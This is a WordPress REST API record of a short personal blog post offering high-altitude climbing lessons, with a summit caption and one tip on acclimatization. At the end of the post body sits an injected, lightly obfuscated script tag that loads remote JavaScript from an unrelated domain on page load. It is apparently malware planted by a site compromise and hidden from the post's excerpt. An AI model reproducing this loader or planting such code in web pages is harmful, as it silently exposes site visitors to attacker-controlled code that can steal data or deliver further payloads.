{"id":3018,"date":"2025-10-21T13:49:14","date_gmt":"2025-10-21T11:49:14","guid":{"rendered":"http:\/\/timbogdanov.com\/?p=3018"},"modified":"2025-10-21T13:49:14","modified_gmt":"2025-10-21T11:49:14","slug":"high-altitude-lessons-from-what-i-have-learned-after-climbing-27-peaks-above-5000m","status":"publish","type":"post","link":"https:\/\/timbogdanov.com\/?p=3018","title":{"rendered":"High altitude lessons from what I have learned after climbing 27 peaks above 5000m."},"content":{"rendered":"<p>Summit of peak Korzhenevskaya 7105m, Tadjikistan<\/p>\n<p>Lesson 1<\/p>\n<p>Dont rush the acklimatization process, the body needs plenty of energy to adopt the new altitude so dont rush, make sure to sleep plenty and eat plenty of food<\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Summit of peak Korzhenevskaya 7105m, Tadjikistan Lesson 1 Dont rush the acklimatization process, the body needs plenty of energy to adopt the new altitude so dont rush, make sure to sleep plenty and eat plenty of food &nbsp;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[1],"tags":[],"class_list":["post-3018","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/p1gpBC-MG","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/posts\/3018","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3018"}],"version-history":[{"count":1,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/posts\/3018\/revisions"}],"predecessor-version":[{"id":3268,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/posts\/3018\/revisions\/3268"}],"wp:attachment":[{"href":"https:\/\/timbogdanov.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3018"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3018"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3018"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}